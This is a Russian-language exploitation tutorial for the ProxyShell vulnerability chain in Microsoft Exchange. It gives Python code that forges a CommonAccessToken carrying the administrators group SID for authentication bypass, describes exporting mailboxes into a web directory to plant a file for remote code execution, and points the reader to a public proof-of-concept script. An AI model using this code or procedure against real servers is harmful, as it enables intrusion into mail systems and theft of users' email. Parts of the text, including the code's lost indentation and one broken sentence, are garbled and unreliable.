Exchange Powershell Remoting - это служба, основанная на протоколе WSMan, которая может выполнять некоторые специфические команды powershell, реализуя такие функции, как отправка электронной почты, чтение электронной почты, обновление файлов конфигурации и т.д. Необходимым условием для ее использования является наличие у пользователя почтового ящика. Поэтому при использовании предыдущего ssrf получить доступ к интерфейсу powershell не удастся, так как в системе нет почтового ящика. Далее нам необходимо сначала решить проблему аутентификации. Так как в методе ShouldCopyHeaderToServerRequest будут отфильтрованы некоторые пользовательские заголовки запроса, в том числе и заголовок проверки подлинности X-CommonAccessToken.
В Microsoft.Exchange.Configuration.RemotePowershellBackendCmdletProxyModule.dll есть управляемая пользователем точка входа X-Rps-CAT, которая считывает заголовок запроса X-CommonAccessToken, когда он пуст. -Rps-CAT, и эти данные обрабатываются и присваиваются X-CommonAccessToken.
Эксплуатация
Для генерации токена можно использовать следующий python-код
Python:
def gen_token(uname, sid):
version = 0
ttype = 'Windows'
compressed = 0
auth_type = 'Kerberos'
raw_token = b''
gsid = 'S-1-5-32-544'
version_data = b'V' + (1).to_bytes(1, 'little') + (version).to_bytes(1, 'little')
type_data = b'T' + (len(ttype)).to_bytes(1, 'little') + ttype.encode()
compress_data = b'C' + (compressed).to_bytes(1, 'little')
auth_data = b'A' + (len(auth_type)).to_bytes(1, 'little') + auth_type.encode()
login_data = b'L' + (len(uname)).to_bytes(1, 'little') + uname.encode()
user_data = b'U' + (len(sid)).to_bytes(1, 'little') + sid.encode()
group_data = b'G' + pack('<II', 1, 7) + (len(gsid)).to_bytes(1, 'little') + gsid.encode()
ext_data = b'E' + pack('>I', 0)
raw_token += version_data
raw_token += type_data
raw_token += compress_data
raw_token += auth_data
raw_token += login_data
raw_token += user_data
raw_token += group_data
raw_token += ext_data
data = base64.b64encode(raw_token).decode()
return data
CVE-2021-31207
Уязвимы
Exchange Server 2013 < May21SU
Exchange Server 2016 < May21SU < CU21
Exchange Server 2019 < May21SU < CU10
Об уязвимости
Пользователи могут записывать в файлы с произвольным суффиксом после аутентификации
эксплуатация
В сочетании с описанной выше уязвимостью пользователь сначала получает доступ к интерфейсу powershell через уязвимость ssrf и использует его для экспорта писем в указанную веб-директорию. Однако при этом возникает проблема: экспортируемые письма имеют pst-кодировку, поэтому их необходимо предварительно закодировать.
CVE-2021-34473, CVE-2021-31207 и CVE-2021-34523 эксплуатируются вместе с proxyshell, что в конечном итоге позволяет использовать rce.
Используйте этот скрипт:
GitHub - horizon3ai/proxyshell: Proof of Concept for CVE-2021-34473, CVE-2021-34523, and CVE-2021-31207
Proof of Concept for CVE-2021-34473, CVE-2021-34523, and CVE-2021-31207 - horizon3ai/proxyshell